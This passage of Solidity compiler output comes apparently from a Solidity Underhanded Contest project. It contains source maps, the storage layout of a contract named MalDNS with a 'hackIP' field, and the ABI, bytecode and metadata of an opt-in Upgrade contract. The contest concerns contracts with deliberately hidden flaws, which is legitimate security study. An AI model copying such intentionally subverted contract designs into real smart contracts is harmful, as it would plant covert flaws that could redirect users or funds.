:7;1256:23;1252:32;1249:2;;;1297:1;1294;1287:12;1249:2;1367:1;1356:9;1352:17;1339:31;1397:18;1389:6;1386:30;1383:2;;;1429:1;1426;1419:12;1383:2;1456:63;1511:7;1502:6;1491:9;1487:22;1456:63;:::i;:::-;1446:73;;1311:218;1567:2;1592:53;1637:7;1628:6;1617:9;1613:22;1592:53;:::i;:::-;1582:63;;1539:116;1239:423;;;;;:::o;1668:514::-;;;1802:2;1790:9;1781:7;1777:23;1773:32;1770:2;;;1818:1;1815;1808:12;1770:2;1888:1;1877:9;1873:17;1860:31;1918:18;1910:6;1907:30;1904:2;;;1950:1;1947;1940:12;1904:2;1977:63;2032:7;2023:6;2012:9;2008:22;1977:63;:::i;:::-;1967:73;;1832:218;2088:2;2113:52;2157:7;2148:6;2137:9;2133:22;2113:52;:::i;:::-;2103:62;;2060:115;1760:422;;;;;:::o;2188:657::-;;;;2339:2;2327:9;2318:7;2314:23;2310:32;2307:2;;;2355:1;2352;2345:12;2307:2;2425:1;2414:9;2410:17;2397:31;2455:18;2447:6;2444:30;2441:2;;;2487:1;2484;2477:12;2441:2;2514:63;2569:7;2560:6;2549:9;2545:22;2514:63;:::i;:::-;2504:73;;2369:218;2625:2;2650:52;2694:7;2685:6;2674:9;2670:22;2650:52;:::i;:::-;2640:62;;2597:115;2750:2;2775:53;2820:7;2811:6;2800:9;2796:22;2775:53;:::i;:::-;2765:63;;2722:116;2297:548;;;;;:::o;2851:118::-;2938:24;2956:5;2938:24;:::i;:::-;2933:3;2926:37;2916:53;;:::o;2975:115::-;3060:23;3077:5;3060:23;:::i;:::-;3055:3;3048:36;3038:52;;:::o;3096:157::-;3196:50;3240:5;3196:50;:::i;:::-;3191:3;3184:63;3174:79;;:::o;3259:163::-;3362:53;3409:5;3362:53;:::i;:::-;3357:3;3350:66;3340:82;;:::o;3428:377::-;;3562:39;3595:5;3562:39;:::i;:::-;3617:89;3699:6;3694:3;3617:89;:::i;:::-;3610:96;;3715:52;3760:6;3755:3;3748:4;3741:5;3737:16;3715:52;:::i;:::-;3792:6;3787:3;3783:16;3776:23;;3538:267;;;;;:::o;3811:313::-;;3974:67;4038:2;4033:3;3974:67;:::i;:::-;3967:74;;4071:17;4067:1;4062:3;4058:11;4051:38;4115:2;4110:3;4106:12;4099:19;;3957:167;;;:::o;4130:312::-;;4293:67;4357:2;4352:3;4293:67;:::i;:::-;4286:74;;4390:16;4386:1;4381:3;4377:11;4370:37;4433:2;4428:3;4424:12;4417:19;;4276:166;;;:::o;4448:309::-;;4611:67;4675:2;4670:3;4611:67;:::i;:::-;4604:74;;4708:13;4704:1;4699:3;4695:11;4688:34;4748:2;4743:3;4739:12;4732:19;;4594:163;;;:::o;4763:319::-;;4926:67;4990:2;4985:3;4926:67;:::i;:::-;4919:74;;5023:23;5019:1;5014:3;5010:11;5003:44;5073:2;5068:3;5064:12;5057:19;;4909:173;;;:::o;5088:312::-;;5251:67;5315:2;5310:3;5251:67;:::i;:::-;5244:74;;5348:16;5344:1;5339:3;5335:11;5328:37;5391:2;5386:3;5382:12;5375:19;;5234:166;;;:::o;5406:275::-;;5560:95;5651:3;5642:6;5560:95;:::i;:::-;5553:102;;5672:3;5665:10;;5542:139;;;;:::o;5687:328::-;;5844:2;5833:9;5829:18;5821:26;;5857:69;5923:1;5912:9;5908:17;5899:6;5857:69;:::i;:::-;5936:72;6004:2;5993:9;5989:18;5980:6;5936:72;:::i;:::-;5811:204;;;;;:::o;6021:248::-;;6165:2;6154:9;6150:18;6142:26;;6178:84;6259:1;6248:9;6244:17;6235:6;6178:84;:::i;:::-;6132:137;;;;:::o;6275:254::-;;6422:2;6411:9;6407:18;6399:26;;6435:87;6519:1;6508:9;6504:17;6495:6;6435:87;:::i;:::-;6389:140;;;;:::o;6535:419::-;;6739:2;6728:9;6724:18;6716:26;;6788:9;6782:4;6778:20;6774:1;6763:9;6759:17;6752:47;6816:131;6942:4;6816:131;:::i;:::-;6808:139;;6706:248;;;:::o;6960:419::-;;7164:2;7153:9;7149:18;7141:26;;7213:9;7207:4;7203:20;7199:1;7188:9;7184:17;7177:47;7241:131;7367:4;7241:131;:::i;:::-;7233:139;;7131:248;;;:::o;7385:419::-;;7589:2;7578:9;7574:18;7566:26;;7638:9;7632:4;7628:20;7624:1;7613:9;7609:17;7602:47;7666:131;7792:4;7666:131;:::i;:::-;7658:139;;7556:248;;;:::o;7810:419::-;;8014:2;8003:9;7999:18;7991:26;;8063:9;8057:4;8053:20;8049:1;8038:9;8034:17;8027:47;8091:131;8217:4;8091:131;:::i;:::-;8083:139;;7981:248;;;:::o;8235:419::-;;8439:2;8428:9;8424:18;8416:26;;8488:9;8482:4;8478:20;8474:1;8463:9;8459:17;8452:47;8516:131;8642:4;8516:131;:::i;:::-;8508:139;;8406:248;;;:::o;8660:278::-;;8726:2;8720:9;8710:19;;8768:4;8760:6;8756:17;8875:6;8863:10;8860:22;8839:18;8827:10;8824:34;8821:62;8818:2;;;8886:13;;:::i;:::-;8818:2;8921:10;8917:2;8910:22;8700:238;;;;:::o;8944:327::-;;9096:18;9088:6;9085:30;9082:2;;;9118:13;;:::i;:::-;9082:2;9198:4;9194:9;9187:4;9179:6;9175:17;9171:33;9163:41;;9259:4;9253;9249:15;9241:23;;9011:260;;;:::o;9277:99::-;;9363:5;9357:12;9347:22;;9336:40;;;:::o;9382:169::-;;9500:6;9495:3;9488:19;9540:4;9535:3;9531:14;9516:29;;9478:73;;;;:::o;9557:148::-;;9696:3;9681:18;;9671:34;;;;:::o;9711:96::-;;9777:24;9795:5;9777:24;:::i;:::-;9766:35;;9756:51;;;:::o;9813:149::-;;9889:66;9882:5;9878:78;9867:89;;9857:105;;;:::o;9968:126::-;;10045:42;10038:5;10034:54;10023:65;;10013:81;;;:::o;10100:152::-;;10196:50;10240:5;10196:50;:::i;:::-;10183:63;;10173:79;;;:::o;10258:126::-;;10354:24;10372:5;10354:24;:::i;:::-;10341:37;;10331:53;;;:::o;10390:158::-;;10489:53;10536:5;10489:53;:::i;:::-;10476:66;;10466:82;;;:::o;10554:129::-;;10653:24;10671:5;10653:24;:::i;:::-;10640:37;;10630:53;;;:::o;10689:154::-;10773:6;10768:3;10763;10750:30;10835:1;10826:6;10821:3;10817:16;10810:27;10740:103;;;:::o;10849:307::-;10917:1;10927:113;10941:6;10938:1;10935:13;10927:113;;;11026:1;11021:3;11017:11;11011:18;11007:1;11002:3;10998:11;10991:39;10963:2;10960:1;10956:10;10951:15;;10927:113;;;11058:6;11055:1;11052:13;11049:2;;;11138:1;11129:6;11124:3;11120:16;11113:27;11049:2;10898:258;;;;:::o;11162:48::-;11195:9;11216:122;11289:24;11307:5;11289:24;:::i;:::-;11282:5;11279:35;11269:2;;11328:1;11325;11318:12;11269:2;11259:79;:::o;11344:120::-;11416:23;11433:5;11416:23;:::i;:::-;11409:5;11406:34;11396:2;;11454:1;11451;11444:12;11396:2;11386:78;:::o","storage-layout":"{\"storage\":[{\"astId\":1473,\"contract\":\"src/MalDNS.sol:MalDNS\",\"label\":\"data\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\"},{\"astId\":1481,\"contract\":\"src/MalDNS.sol:MalDNS\",\"label\":\"hackIP\",\"offset\":0,\"slot\":\"1\",\"type\":\"t_bytes4\"}],\"types\":{\"t_address\":{\"encoding\":\"inplace\",\"label\":\"address\",\"numberOfBytes\":\"20\"},\"t_bytes4\":{\"encoding\":\"inplace\",\"label\":\"bytes4\",\"numberOfBytes\":\"4\"},\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\":{\"encoding\":\"mapping\",\"key\":\"t_string_memory_ptr\",\"label\":\"mapping(string => struct IDNS.Entry)\",\"numberOfBytes\":\"32\",\"value\":\"t_struct(Entry)1425_storage\"},\"t_string_memory_ptr\":{\"encoding\":\"bytes\",\"label\":\"string\",\"numberOfBytes\":\"32\"},\"t_struct(Entry)1425_storage\":{\"encoding\":\"inplace\",\"label\":\"struct IDNS.Entry\",\"members\":[{\"astId\":1422,\"contract\":\"src/MalDNS.sol:MalDNS\",\"label\":\"ip\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_bytes4\"},{\"astId\":1424,\"contract\":\"src/MalDNS.sol:MalDNS\",\"label\":\"owner\",\"offset\":4,\"slot\":\"0\",\"type\":\"t_address\"}],\"numberOfBytes\":\"32\"}}}"},"src/Upgrade.sol:Upgrade":{"abi":"[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"}],\"name\":\"activeUpgrade\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"},{\"internalType\":\"contract IDNS\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"admin\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"cancelUpgrade\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"_addr\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"}],\"name\":\"isTrustedUpgrade\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_when\",\"type\":\"uint256\"},{\"internalType\":\"contract IDNS\",\"name\":\"_to\",\"type\":\"address\"}],\"name\":\"newUpgrade\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"enum Upgrade.Opt\",\"name\":\"_opt\",\"type\":\"uint8\"}],\"name\":\"opt\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgradePlanned\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"upgrades\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"when\",\"type\":\"uint256\"},{\"internalType\":\"contract IDNS\",\"name\":\"to\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]","bin":"60a060405234801561001057600080fd5b503373ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b8152505060805160601c610e0861006f6000398061019f528061036552806108bb5250610e086000f3fe608060405234801561001057600080fd5b50600436106100885760003560e01c806390b60de91161005b57806390b60de914610114578063b1d6d39d14610145578063d2ac7a5f14610161578063f851a4401461017f57610088565b8063275571571461008d57806355f29166146100a95780635efd5384146100b35780637386bbc5146100e3575b600080fd5b6100a760048036038101906100a291906109e8565b61019d565b005b6100b1610363565b005b6100cd60048036038101906100c8919061095a565b6104ae565b6040516100da9190610be1565b60405180910390f35b6100fd60048036038101906100f891906109bf565b6105f7565b60405161010b929190610cc5565b60405180910390f35b61012e60048036038101906101299190610931565b61064b565b60405161013c929190610bfc565b60405180910390f35b61015f600480360381019061015a9190610996565b6107a5565b005b610169610878565b6040516101769190610be1565b60405180910390f35b6101876108b9565b6040516101949190610bc6565b60405180910390f35b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101f557600080fd5b6101fd610878565b1561023d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023490610ca5565b60405180910390fd5b42821161027f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161027690610c65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156102ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102e690610c45565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103bb57600080fd5b6103c3610878565b610402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f990610c85565b60405180910390fd5b60006001600080549050038154811061041757fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061046357fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b60008060008054905090506104c1610878565b156104ce57806001900390505b60005b818110156105ea57600081815481106104e657fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156105cf575060018081111561055957fe5b6000828154811061056657fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156105cd57fe5b145b156105df576001925050506105f1565b8060010190506104d1565b5060009150505b92915050565b6000818154811061060757600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b600080600080805490509050600081141561066d5760008092509250506107a0565b610675610878565b1561068d57600181101561068557fe5b806001900390505b60008114156106a35760008092509250506107a0565b60008190505b6000811115610796576001808111156106be57fe5b600060018303815481106106ce57fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600181111561073557fe5b141561078a5760016000600183038154811061074d57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050506107a0565b806001900390506106a9565b5060008092509250505b915091565b6107ad610878565b6107ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e390610c25565b60405180910390fd5b600080805490509050816000600183038154811061080657fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083600181111561086f57fe5b02179055505050565b60008060008054905090506000811180156108b35750426000600183038154811061089f57fe5b906000526020600020906003020160010154115b91505090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000813590506108ec81610d7d565b92915050565b60008135905061090181610d94565b92915050565b60008135905061091681610dab565b92915050565b60008135905061092b81610dbb565b92915050565b60006020828403121561094357600080fd5b6000610951848285016108dd565b91505092915050565b6000806040838503121561096d57600080fd5b600061097b858286016108f2565b925050602061098c858286016108dd565b9150509250929050565b6000602082840312156109a857600080fd5b60006109b684828501610907565b91505092915050565b6000602082840312156109d157600080fd5b60006109df8482850161091c565b91505092915050565b600080604083850312156109fb57600080fd5b6000610a098582860161091c565b9250506020610a1a858286016108f2565b9150509250929050565b610a2d81610cff565b82525050565b610a3c81610d11565b82525050565b610a4b81610d59565b82525050565b6000610a5e601f83610cee565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000610a9e601783610cee565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000610ade601b83610cee565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000610b1e602283610cee565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610b84601883610cee565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b610bc081610d4f565b82525050565b6000602082019050610bdb6000830184610a24565b92915050565b6000602082019050610bf66000830184610a33565b92915050565b6000604082019050610c116000830185610a33565b610c1e6020830184610a42565b9392505050565b60006020820190508181036000830152610c3e81610a51565b9050919050565b60006020820190508181036000830152610c5e81610a91565b9050919050565b60006020820190508181036000830152610c7e81610ad1565b9050919050565b60006020820190508181036000830152610c9e81610b11565b9050919050565b60006020820190508181036000830152610cbe81610b77565b9050919050565b6000604082019050610cda6000830185610bb7565b610ce76020830184610a42565b9392505050565b600082825260208201905092915050565b6000610d0a82610d2f565b9050919050565b60008115159050919050565b6000610d2882610cff565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610d6482610d6b565b9050919050565b6000610d7682610d2f565b9050919050565b610d8681610cff565b8114610d9157600080fd5b50565b610d9d81610d1d565b8114610da857600080fd5b50565b60028110610db857600080fd5b50565b610dc481610d4f565b8114610dcf57600080fd5b5056fea26469706673582212209aa5cedce839347f464b6a28b916dda17dff57b26a51af307a7ddfe440e9563864736f6c63430007040033","bin-runtime":"608060405234801561001057600080fd5b50600436106100885760003560e01c806390b60de91161005b57806390b60de914610114578063b1d6d39d14610145578063d2ac7a5f14610161578063f851a4401461017f57610088565b8063275571571461008d57806355f29166146100a95780635efd5384146100b35780637386bbc5146100e3575b600080fd5b6100a760048036038101906100a291906109e8565b61019d565b005b6100b1610363565b005b6100cd60048036038101906100c8919061095a565b6104ae565b6040516100da9190610be1565b60405180910390f35b6100fd60048036038101906100f891906109bf565b6105f7565b60405161010b929190610cc5565b60405180910390f35b61012e60048036038101906101299190610931565b61064b565b60405161013c929190610bfc565b60405180910390f35b61015f600480360381019061015a9190610996565b6107a5565b005b610169610878565b6040516101769190610be1565b60405180910390f35b6101876108b9565b6040516101949190610bc6565b60405180910390f35b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101f557600080fd5b6101fd610878565b1561023d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023490610ca5565b60405180910390fd5b42821161027f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161027690610c65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156102ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102e690610c45565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103bb57600080fd5b6103c3610878565b610402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f990610c85565b60405180910390fd5b60006001600080549050038154811061041757fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061046357fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b60008060008054905090506104c1610878565b156104ce57806001900390505b60005b818110156105ea57600081815481106104e657fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156105cf575060018081111561055957fe5b6000828154811061056657fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156105cd57fe5b145b156105df576001925050506105f1565b8060010190506104d1565b5060009150505b92915050565b6000818154811061060757600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b600080600080805490509050600081141561066d5760008092509250506107a0565b610675610878565b1561068d57600181101561068557fe5b806001900390505b60008114156106a35760008092509250506107a0565b60008190505b6000811115610796576001808111156106be57fe5b600060018303815481106106ce57fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600181111561073557fe5b141561078a5760016000600183038154811061074d57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050506107a0565b806001900390506106a9565b5060008092509250505b915091565b6107ad610878565b6107ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e390610c25565b60405180910390fd5b600080805490509050816000600183038154811061080657fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083600181111561086f57fe5b02179055505050565b60008060008054905090506000811180156108b35750426000600183038154811061089f57fe5b906000526020600020906003020160010154115b91505090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000813590506108ec81610d7d565b92915050565b60008135905061090181610d94565b92915050565b60008135905061091681610dab565b92915050565b60008135905061092b81610dbb565b92915050565b60006020828403121561094357600080fd5b6000610951848285016108dd565b91505092915050565b6000806040838503121561096d57600080fd5b600061097b858286016108f2565b925050602061098c858286016108dd565b9150509250929050565b6000602082840312156109a857600080fd5b60006109b684828501610907565b91505092915050565b6000602082840312156109d157600080fd5b60006109df8482850161091c565b91505092915050565b600080604083850312156109fb57600080fd5b6000610a098582860161091c565b9250506020610a1a858286016108f2565b9150509250929050565b610a2d81610cff565b82525050565b610a3c81610d11565b82525050565b610a4b81610d59565b82525050565b6000610a5e601f83610cee565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000610a9e601783610cee565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000610ade601b83610cee565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000610b1e602283610cee565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610b84601883610cee565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b610bc081610d4f565b82525050565b6000602082019050610bdb6000830184610a24565b92915050565b6000602082019050610bf66000830184610a33565b92915050565b6000604082019050610c116000830185610a33565b610c1e6020830184610a42565b9392505050565b60006020820190508181036000830152610c3e81610a51565b9050919050565b60006020820190508181036000830152610c5e81610a91565b9050919050565b60006020820190508181036000830152610c7e81610ad1565b9050919050565b60006020820190508181036000830152610c9e81610b11565b9050919050565b60006020820190508181036000830152610cbe81610b77565b9050919050565b6000604082019050610cda6000830185610bb7565b610ce76020830184610a42565b9392505050565b600082825260208201905092915050565b6000610d0a82610d2f565b9050919050565b60008115159050919050565b6000610d2882610cff565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610d6482610d6b565b9050919050565b6000610d7682610d2f565b9050919050565b610d8681610cff565b8114610d9157600080fd5b50565b610d9d81610d1d565b8114610da857600080fd5b50565b60028110610db857600080fd5b50565b610dc481610d4f565b8114610dcf57600080fd5b5056fea26469706673582212209aa5cedce839347f464b6a28b916dda17dff57b26a51af307a7ddfe440e9563864736f6c63430007040033","metadata":"{\"compiler\":{\"version\":\"0.7.4+commit.3f05b770\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"}],\"name\":\"activeUpgrade\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"},{\"internalType\":\"contract IDNS\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"admin\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"cancelUpgrade\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"_addr\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"}],\"name\":\"isTrustedUpgrade\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_when\",\"type\":\"uint256\"},{\"internalType\":\"contract IDNS\",\"name\":\"_to\",\"type\":\"address\"}],\"name\":\"newUpgrade\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"enum Upgrade.Opt\",\"name\":\"_opt\",\"type\":\"uint8\"}],\"name\":\"opt\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgradePlanned\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"upgrades\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"when\",\"type\":\"uint256\"},{\"internalType\":\"contract IDNS\",\"name\":\"to\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"activeUpgrade(address)\":{\"returns\":{\"_0\":\"(false, 0) if _user never opted-in, or opted-in but the planned upgrade then was cancelled.\",\"_1\":\"(true, ) if user opted-in at least once, and that upgrade became active.\"}},\"constructor\":{\"details\":\"Sets the deployer as the upgrade admin.\"},\"isTrustedUpgrade(address,address)\":{\"returns\":{\"_0\":\"true if _addr is or was an active upgrade trusted by _user.\"}},\"upgradePlanned()\":{\"returns\":{\"_0\":\"true if there is a currently planned upgrade.\"}}},\"title\":\"This contract is the upgrade mechanism object of the Solidity Underhanded Contest.\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"activeUpgrade(address)\":{\"notice\":\"Search backwards for the latest upgrade that _user opted-in. Does not consider the currently planned upgrade, if any.\"},\"admin()\":{\"notice\":\"Upgrade admin. Can only suggest new upgrades and cancel planned upgrades, but cannot change users options neither change the upgrades history.\"},\"cancelUpgrade()\":{\"notice\":\"Allows the upgrade manager to cancel a planned upgrade. No behavior changes, users still access their current preferred upgrade.\"},\"newUpgrade(uint256,address)\":{\"notice\":\"Allows the upgrade manager to suggest a new upgrade. Users must actively opt-in if they wish to use the newly suggested contract.\"},\"opt(uint8)\":{\"notice\":\"Allows a user to opt in or out the current planned upgrade.\"},\"upgrades(uint256)\":{\"notice\":\"History of upgrades performed by this engine, which remain alive since different users might opt-in different upgrades. - An upgrade is currently planned if there is an element in the array and its `when` is in the future. - There cannot be two planned upgrades at the same time. - A user can opt-in multiple upgrades throughout time. The latest upgrade a user opted-in is their active upgrade.\"}},\"notice\":\"It tracks the history of upgrades and opt outs and ins of users per upgrade.\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/Upgrade.sol\":\"Upgrade\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[\":/=/\",\":ds-test/=lib/ds-test/src/\",\":ds-test=lib/ds-test/src/index.sol\"]},\"sources\":{\"src/IDNS.sol\":{\"keccak256\":\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\",\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\"]},\"src/Upgrade.sol\":{\"keccak256\":\"0xf1b948c97cba7390ad71d1b79badb2d500c55add416b4c63bdf33f3bd20495ea\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://1ac4a2d586937be95d2660afa026ec19cab71b0989be561b807b262be6e9d3ce\",\"dweb:/ipfs/QmfTjon8NyvCMKT4U2Z6nz44V6hnVaAHPrZ2uT1dwGK8bX\"]}},\"version\":1}","srcmap":"300:3659:6:-:0;;;1467:40;;;;;;;;;;1493:10;1485:18;;;;;;;;;;;;300:3659;;;;;;;;;;;","srcmap-runtime":"300:3659:6:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3093:336;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3579:173;;;:::i;:::-;;2640:297;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1067:31;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;2107:457;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;1583:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3814:143;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1268:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3093:336;1399:5;1385:19;;:10;:19;;;1377:28;;;;;;3167:16:::1;:14;:16::i;:::-;3166:17;3158:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;3232:15;3224:5;:23;3216:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;3315:1;3291:26;;3299:3;3291:26;;;;3283:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;3349:24;3376:8